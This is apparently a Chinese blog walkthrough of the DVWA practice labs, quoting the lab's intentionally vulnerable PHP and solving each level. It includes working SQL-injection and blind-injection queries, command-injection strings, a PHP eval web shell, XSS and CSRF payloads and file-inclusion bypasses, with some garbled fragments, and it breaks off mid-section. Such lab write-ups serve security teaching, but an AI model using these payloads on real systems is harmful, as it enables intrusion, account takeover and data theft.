1 SQL 注入
1.1 SQL注入介绍
SQL injection,即SQL注入,攻击者在 WEB 表单或者页面请求的查询字符串中通过注入恶意的 SQL 命令,从而使数据库执行恶意的 SQL 语句
1.2 漏洞出现的场景
此漏洞通常出现在如下场景:
WEB表单提交
域名
1.3 注入思路
1.判断是否存在注入,注入类型是字符型、数字型还是搜索性型。
2.猜解 SQL 查询语句中的字段数。
3.确定显示的字段顺序。
4.获取当前的数据库。
5.获取当前数据库中的表
6.获取表中的字段名。
7.查询数据
1.4 SQL Injection
1.4.1 low
这里是一个可以提交的表单。先提交几个试一试。
输入1 - 5 均有返回。
(1)首先,输入1’,查询失败;
输入 1 and 1=1,查询成功;
输入 1’ and 1=1,查询失败;
输入 1’ and 1=1#,查询成功;
说明是字符型注入。
输入 1’ and 1=1#,可以看到数据库里面的部分内容。
(2)猜解 SQL 查询语句中的字段数。
输入 1’ order by 1#,查询成功;
输入 1’ order by 3#,查询失败;
因此字段是应该为2;
(3)确定显示的字段顺序。
输入 1’ union select 1,2#,可以看到字段的顺序;
(4)获取当前的数据库。
输入 1’ union select 1,database()#,查看当前数据库的名字;
(5)获取当前数据库中的表
输入1’ union select 2,group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’#,查询成功
关于group_concat的介绍,不使用 group_concat()函数的时候则返回
如果出现报错 Illegal mix of collations for operation ‘UNION’,请点击此链接查询 。
(6)获取表中的字段名。
输入 1’ union select 1,group_concat(column_name) from information_schema.columns where table_name='users,查询成功;一定要细心啊,我刚才就查成了 user。。。
(7)查询数据
输入 1’ union select group_concat(user_id,first_name,last_name),group_concat(user,password) from users #,得到:
md5解码得:
1.4.2 medium
只允许我们提交它提供的这几项。
使用BP抓包,转到重放器:
(1)通过手工注入检测是数字型。
(2)猜解字段数,字段数为2;
(3)确定字段显示顺序,
(4)查看当前数据库;
(5)获取数据库中的表;
因为它对单引号进行了屏蔽,所以我们这里用 database()代替
(6)获取表中的字段名。
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 &Submit=Submit
因为过滤了引号,所以我们这里用十六进制代替,但我不太明白的地方是为什么只需要对 users 进行转码而不是 ‘users’。
这个函数进行过滤:
(7)查询
id=1 union select 1,group_concat(user,password) from users &Submit=Submit
1.4.3 high
这个仅仅只是换了一个界面,并且对输出做了限制,不再过多展示;
1’ union select user,password from users#
这里的 # 把后面的 limit 1 也注释掉了。
2.SQL Injection (Blind)
1.SQL盲注介绍
SQL盲注与一般注入的区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示 页面上获取执行的结果,甚至连注入语句是否执行都无法得知。
2. SQL盲注原理
盲注的话,就像跟一个机器人聊天,但是这个机器人只会回答“是”与“不是”,因此,得从一个大的范围去问是与不是,然后慢慢的缩小范围,最后就是类似于问“数据库名字的第一个字是不是a啊”这样的问题,通过这种机械的询问,最终得到我们想要的数据。
盲注分为:基于布尔的盲注、基于时间的盲注、基于报错的盲注
盲注的一般步骤
判断是否存在注入、注入是字符型还是数字型
猜解当前数据库名
猜解数据库中的表名
猜解表中的字段名
猜解数据
布尔型盲注:
1.布尔盲注利用前提
页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。
2.布尔盲注利用
该语句判断数据库个数,当数据库个数大于n页面显示正常
(select count(schema_name) from information_schema.schemata)> n
该语句判断数据库内第一个数据库名有多少字符,字符个数大于n页面显示正常
(select length(schema_name) from information_schema.schemata limit 0,1)> n
该语句判断第一个库第一个字符是什么,ascii值大于n页面显示正常
(select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))>n
相关函数学习
Length() 返回字符串的长度
substr() 截取字符串,偏移是从1开始,而不是0开始
ascii() 返回字符的ascii码
count(column_name) 返回指定列的值的数目(NULL 不计入)
时间型盲注:
1.时间盲注利用前提
页面上没有显示位,也没有输出SQL语句执行错误信息。 正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面的返回速度明显慢了5秒。
2.时间盲注利用
该语句判断数据库个数,当数据库个数等于n页面返回延迟5秒
if((select count(schema_name) from information_schema.schemata)=n,sleep(5),1)
该语句判断数据库内第一个数据库名有多少字符,字符个数等于n页面返回延迟5秒
if((select length(schema_name) from information_schema.schemata limit 0,1)=n,sleep(5),1)
该语句判断第一个库第一个字符是什么,ascii值等于n页面返回延迟5秒
if((select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))=n,sleep(5),1)
相关函数学习
Length()函数 返回字符串的长度
substr()截取字符串
ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
count(column_name)函数返回指定列的值的数目(NULL 不计入)
注:关于注释符号
3.1 low
查看源代码,发现没有过滤,
(1)判断是否存在注入、注入是字符型还是数字型
1
1' and 1=1
1' and 1=1# 判断是字符型注入
(2)猜解当前数据库名
可以使用BP爆破,也可以使用二分法猜解。
1’ and length(database())=4#
1' and ascii(substr(database(),1,1))=100 #
1’ and ascii(substr(database(),2,1))=118 #
1’ and ascii(substr(database(),3,1))=119 #
1’ and ascii(substr(database(),4,1))=97 #
当前数据库的名字是“dvwa”
(3)猜解数据库中的表名
1.猜解数据库中表的个数,依旧采用二分法猜解或者爆破。
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9 #
2.猜解表名,依次猜解,注意参数的修改。
1’ and length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))=9#
1’ and length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),1))=5#
猜解表名是 guestbook 和 users
(4)猜解表中列名
1.猜列数
1’ and (select count(column_name) from information_schema.columns where table_name=‘users’)=14 #
找到users表中有14列
2.猜解每列列名的长度
1’ and length(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=7 #
1’ and length(substr((select column_name from information_schema.columns where table_name=‘users’ limit 1,1),1))=10 #
3.猜解列的名称
第一列的第一位:
1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=117 #
第二位:
1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),2))=115 #
……
第二列的第一位:
1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 1,1),1))=102 #
……
如此反复,得到十四个列名分别是:
user_id
first_name
last_name
user
password
avatar
last_login
failed_login
USER
CURRENT_CONNECTIONS
TOTAL_CONNECTIONS
id
username
password
(5)猜解用户名
1’ and (ascii(substr((select user from users limit 0,1),1,1)))=97 #
1’ and (ascii(substr((select user from users limit 0,1),2,1)))=100 #
最后查出 admin,也可以通过这种方式查出 password
注:substr()函数
1.substr(str,pos,len): 从pos开始的位置,截取len个字符
2.substr(str,pos): pos开始的位置,一直截取到最后
3.2 medium
中等难度换成了下拉表单,并对单引号进行了转义
首先判断是是数字型注入;
然后使用 重放 模块猜解数据库名;
猜解当前数据库中的表名;
猜解表中的字段名;
猜解用户信息。
其余与 low 相同。
3.3 high
看一眼源代码(菜鸟表示其实不怎么看得懂):
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
可以发现,代码中存在 limit 1,只能输出一个字符,但我们可以用# 注释掉它,
当查询结果为空时sleep( rand( 2, 4 ) )这样便无法进行基于时间的盲注。
剩余盲注内容参考 low。
3 Brute Force
BP爆破的四种模式:
1.Sniper狙击手模式,对变量依次进行破解。多个标记依次进行。
2.Battering ram,对变量同时进行破解。多个标记同时进行。
3.pitchfork,每一个变量标记对应一个字典,取每个字典的对应项。
4.Clutter bomb,每个变量对应一个字典,并且进行交集破解,尝试各种组合。适用于用户名+密码的破解。
3.1 low
查看源码可知low级别的代码直接获取用户输入的用户名和密码,密码再经过MD5进行加密,所以杜绝了通过密码进行SQL注入的可能。
直接抓包爆破就完事了。
3.2 medium
相比Low级别的代码,Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,",x1a)进行转义,把其中的字符串给过滤掉了,基本上能够抵御sql注入攻击,那低等级时候用到的注入就失效了,需要注意的是中级的暴力破解相对来说较慢是因为有个sleep函数,在破解失败后会使程序停止运行两秒。所以我们直接用爆破方法即可,和low级的一样。
3.3 High
high级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度,通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。
有点小麻烦。
首先,抓包。
这个东西每次也会更改,所以我们得对它进行处理。
在选项中寻找:
复制一下,然后点好的。
密码这样搞:
token这样搞:
新建资源池,调整线程为1;
最后跑出结果
4 command injection
命令注入用到的一些命令以及连接符:
Ipconfig 查看本地网络
Net user 查看系统用户
Dir 查看当前目录
Find 查找包含指定字符的行
Whoami 查看系统当前有效用户名
A&B 简单的拼接,AB之间无制约关系
A&&B A执行成功才会执行B
A | B A的输出作为B的输入
A || B A执行失败,然后才会执行B
TTL值240-255为UNIX/linux系统,TTL值为100-130为Windows系统。
4.1 low
查看源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
没有任何限制,理论上来说可以随意执行命令。例如:
127.0.0.1 && ipconfig
127.0.0.1 && whoami
127.0.0.1 && dir
127.0.0.1 && net user
4.2 medium
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
进行了一定程度上的过滤,将 && 和 ;换成空。可以采用以下命令注入:
127.0.0.1 | dir
127.0.0.1 & dir
127.0.0.1 &;& ipconfig
4.3 high
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the characters in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
注意|后面有个空格,利用这个绕过:
127.0.0.1 |ipconfig
5 File upload
什么是文件上传漏洞?
可以上传恶意文件、 木马、病毒、WebShellde的漏洞。
形成原因?
1.服务器配置不当
2.开源编辑器上传漏洞
3.本地文件上传限制被绕过
4.过滤不严格被绕过
5.文件解析漏洞导致文件执行
6.文件路径截断
危害:
1.上传文件是病毒或者木马时,主要用于诱骗用户或者管理员下载执行或者直接自动运行。
2.上传文件是WebShell时,攻击者可以通过这些网页后门执行命令并控制服务器;
3.上传文件是其他恶意脚本时,攻击者可直接执行脚本进行攻击;
4.上传文件是恶意图片时,图片中可能包含了脚本,加载或者点击这些图片时,脚本会悄无声息的运行。
5.上传文件是伪装成正常后缀的恶意脚本时,攻击者可借助本地文件包含漏洞执行该文件。如将bad.php文件名改为bad.doc上传到服务器,再通过PHP的 include_once,require,require_once等函数包含执行。
5.1 low
查看源码,发现没有任何过滤措施;
写一个php文件
<?php @eval($_GET['cmd']);phpinfo();?>
上传后访问该地址,并且可以进行传参
5.2 medium
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
对文件进行了过滤,我们可以上传.jpg,然后使用bp拦截,然后修改文件名。
上传成功:
修改PHP文件后,可以使用中国蚁剑进行连接:
5.3 high
使用如下命令
copy 1.png /b + cmd1.txt /a 111.png
利用文件包含漏洞:
成功上传,可以使用中国蚁剑连接。
5 XSS(Reflect)
除了js,flash等脚本语言也有可能存在XSS漏洞
5.1 low
查看源码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
没有任何过滤,可以直接插入一个弹窗。
5.2 medium
查看源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
对
<scr
5.3 high
查看源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
对
<img src = 1 onerror = alert(/xss/)>
<svg onload=alert(/xss/)>
6 xss(stored)
6.1 low
输入测试一下。
查看源码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
没太明白,直接输入一下试试。
成功。
6.2 medium
查看源代码,发现在low的基础上,message多了一个把输入实体化,name多了一个对于script的过滤,但没有过滤大小写和重写,所以可以借此绕过。选择在name处输入会长度不够,于是对于页面源代码修改就行。
6.3 high
查看源代码,可以得知本关的name在之前的基础上多了一下一个正则去去除script,所以换个触发就可以
同样name的输入的最大长度为10 ,修改一下就行。
7 xss(dom)
XSS(DOM)是一种基于DOM树的一种代码注入攻击方式,可以是反射型的,也可以是存储型的,所以它一直被划分第三种XSS
与前两种XSS相比,它最大的特点就是不与后台服务器交互,只是通过浏览器的DOM树解析产生
7.1 low
<?php
# No protections, anything goes
?>
没有任何过滤。
7.2 medium
查看源代码,可以发现本关卡对script有一个过滤,另外看源代码可以发现需要把输入闭合掉,所以还应该写一个
//过滤<script,含scriipt的就不可以
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
(1)简单来说,就是过滤掉了“<script”,当函数匹配到 <script 字符串的时候就会将URL后面的参数修正为 ?default=English
(2)在这里可以通过onerror事件,在装载文档或图像的过程中如果发生了错误就会触发
构造payload(这里的标签 是根据页面源码写的):
// Is there any input?
if ( array_key_exists( “default”, KaTeX parse error: Expected 'EOF', got '&' at position 8: _GET ) &̲& !is_null (_GET[ ‘default’ ]) ) {
# White list the alLowable languages
//白名单,只允许French、English、German、Spanish
switch ($_GET[‘default’]) {
case “French”:
case “English”:
case “German”:
case “Spanish”:
# ok
break;
default:
header (“location: ?default=English”);
exit;
}
}
?>
(1)这里设置了白名单,如果default的值不为”French”、”English”、”German”、”Spanish”的话就重置URL为:?default=English ,这里只是对 default 的变量进行了过滤。
(2)可以考虑在English后面使用&或者#
构造payload:
English&
8 CSRF
CSRF(跨站请求伪造),全称为Cross-site request forgery,简单来说,是攻击者利用受害者尚未失效的身份认证信息,诱骗受害者点击恶意链接或含有攻击代码的页面,在受害者不知情的情况下以受害者的身份像服务器发起请求,从而实现非法攻击(改密)。
8.1 low
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
参考了这位佬的思路。
漏洞复现
(1)先来做个尝试,将密码改成123456,两次都输入123456,发现直接修改成功了
(2)测试一下密码123456,先测试一下原来的密码(原来的密码就是你登录DVWA的密码)
原来的密码很明显已经不行了,接下来试一下123456
(3)经过上面的尝试发现可以成功修改账号密码,而且我们发现了URL那里的变化,接下来我们从URL处入手再改一下,首先先重置一下数据库,把密码改回来。
在 C:\phpstudy_pro\WWW 文件夹中建立一个 1.html ,里面写入
<img src="http://127.0.0.3/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
这样的话,当我们打开 1.html 文件的时候,密码就会被修改成123456,(诱骗受害者点击这个1.html文件)
8.3 Medium
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是127.0.0.3),希望通过这种机制抵御CSRF攻击。
medium(中级)
和低级别的流程一样,也是利用页面跳转修改密码,但是不同的是在页面跳转后密码无法修改,这是为啥呢?
是因为多了一项Rferer验证,由于是第三方跳转,所以缺少Referer验证。
补上。
这时候需要用到抓包工具Burpsuite,抓包后发现这里少了Referer,不怕,补上去。
Referer: http://localhost/dvwa/vulnerabilities/csrf/
复制
Referer的内容只需要里面包含主机的名称即可
放过后成功修改密码
8.3 high
High(高级)
高级的比较复杂,它需要存储型XSS漏洞联合使用
我们先正常修改它的密码,可以看到链接上多了一串user_token的值\
http://dvwa.com/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change&user_token=72c7b26fe3c0201d6bf72808a5b77631#
```![请添加图片描述](https://img-blog.csdnimg.cn/ea131a66e2c046fca5e44a303dfba86c.png)
Anti-CSRF token机制,用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
意思是我们每次修改密码需要先验证其token值。
我们怎样去获得这个token的值呢?此时存储型XSS闪亮登场!
我们在存储型XSS上传一个脚本,旨在获取并且弹出它的token值,存储型XSS的功能大家都清楚,我不再赘述。每次点击到XSS,所上传的脚本都会被执行一次。
请注意,当token值出现后,复制后千万不要点击确定,因为点击确定后页面被刷新,token值也将再次被刷新
获取到token值后将它加入到之前的链接后面
<a href="2.html"><img src="http://127.0.0.1/vulnerabilities/csrf/?password_new=ZRL&password_conf=ZRL&Change=Change&user_token=a1c1d38188c0ff0ce8b195af85ec7da5">点击重试</a>
成功构造语句,这个时候保存文件,再次回到1.html页面,点击跳转链接,成功跳转(成功修改密码)
9 File Inclusion
原博客地址:https://www.freebuf.com/articles/web/274058.html
一、文件包含与漏洞
文件包含:
开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。
文件包含漏洞:
开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。
二、文件包含漏洞用到的函数
require:找不到被包含的文件,报错,并且停止运行脚本。
include:找不到被包含的文件,只会报错,但会继续运行脚本。
require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。
include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。
9.1 low
源码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
没有进行任何过滤,可以直接查看phpinfo。
http://localhost/dvwa/vulnerabilities/fi/?page=http://127.0.0.1/phpinfo.php
当我们包含一个不存在的文件时,报错出网站的路径。
9.2 medium
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
可以看到,代码使用 str_replace函数 对http:// 和 https://进行了过滤,防止了远程包含漏洞的产生,也过滤了 …/ 和 …\ 防止了进行目录切换的包含。
但是使用 str_replace 函数进行过滤是很不安全的,因为可以使用双写绕过。例如,我们包含 hthttp://tp://xx 时,str_replace 函数只会过滤一个 http:// ,所以最终还是会包含到 http://xx
我们先访问一下http://127.0.0.1/dvwa1/vulnerabilities/fi/?page=http://127.0.0.1/phpinfo.php
http://localhost/dvwa/vulnerabilities/fi/?page=htthttp://p://127.0.0.1/phpinfo.php
9.3 high
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。
只能完成本地包含
http://localhost/dvwa/vulnerabilities/fi/?page=file:///C:/windows/win.ini
10 Insecure CAPTCHA
有点小问题,暂且先不做了。
11 Weak Session IDs
用户登录后,在服务器就会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带
Sesion去访问。
sessionID作为特定用户访问站点所需要的唯一内容。如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问权
限,无需录直接进入特定用户界面,进而进行其他操作。
用户访问服务器的时候,在服务器端会创建一个新的会话(Session),会话中会保存用户的状态和相关信息,用于标识用户。
服务器端维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前的页面即可。为了告诉服务器应该使
用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器。用户拿到session id就会加密后保存到 cookies 上,
之后只要cookies随着http请求发送服务器,服务器就知道你是谁了。SessionID一旦在生命周期内被窃取,就等同于账户失窃。
Session利用的实质 :
由于SessionID是用户登录之后才持有的唯一认证凭证,因此黑客不需要再攻击登陆过程(比如密码),就可以轻易获取访问权
限,无需登录密码直接进入特定用户界面, 进而查找其他漏洞如XSS、文件上传等等。
Session劫持 :
就是一种通过窃取用户SessionID,使用该SessionID登录进目标账户的攻击方法,此时攻击者实际上是使用
了目标账户的有效Session。如果SessionID是保存在Cookie中的,则这种攻击可以称为Cookie劫持。SessionID还可以保存
在URL中,作为一个请求的一个参数,但是这种方式的安全性难以经受考验。
10. 1 low
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>
low级别未设置过滤,直接用bp抓包,可以清楚的看到dvwaSesion的cookie,每重放一次,dvwaSesion增加一:
构造payload:dvwaSession=12; security=low; PHPSESSID=9uu34n47j66u3g420tv8j7chu0
提交。
10.2 medium
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
setcookie("dvwaSession", $cookie_value);
}
?>
medium 的源码是基于时间戳生成的。
medium级别是基于时间戳生成dvwaSesion的,关于时间戳转换,直接查找转换器进行转换即可
通过设置时间戳,可知诱骗受害者在某个时间点基进行点击,
10.3 high
high级别使用了PHP setcookie()函数,来设置cookie:
setcookie(name,value,expire,path,domain,secure,httponly)
参数 描述
name 必需。规定cookie的名称。
value 必需。规定cookie的值。
expire 可选。规定cookie的有效期。
path 可选。规定cookie的服务器路径。
domain 可选。规定cookie的域名。
secure 可选。规定是否通过安全的HTTPS连接来传输cookie。
httponly 可选。规定是否Cookie仅可通过HTTP协议访问。
抓包发现,dvwaSesion值很像md5加密,使用md5解密,发现是对从零开始的整数进行加密;构造payload提交。
以下内容来自:https://www.freebuf.com/sectool/275327.html
11 CSP Bypass
内容安全策略(CSP)使服务器管理员可以通过指定浏览器应认为是可执行脚本的有效源的域来减少或消除XSS可能发生的向量。然后,兼容CSP的浏览器将仅执行从这些允许列出的域接收的源文件中加载的脚本,忽略所有其他脚本(包括内联脚本和事件处理HTML属性)。
除了限制可以从中加载内容的域之外,服务器还可以指定允许使用哪些协议; 例如(理想情况下,从安全角度来看),服务器可以指定必须使用HTTPS加载所有内容。完整的数据传输安全策略不仅包括强制HTTPS进行数据传输,还包括使用安全标记标记所有cookie,并提供从HTTP页面到其HTTPS对应项的自动重定向。站点还可以使用Strict-Transport-SecurityHTTP标头来确保浏览器仅通过加密通道连接到它们。
两种方法可以启用 CSP。
一种是通过 HTTP 头信息的Content-Security-Policy的字段。
一种是通过网页的标签
难度(low)
审计代码
<?php
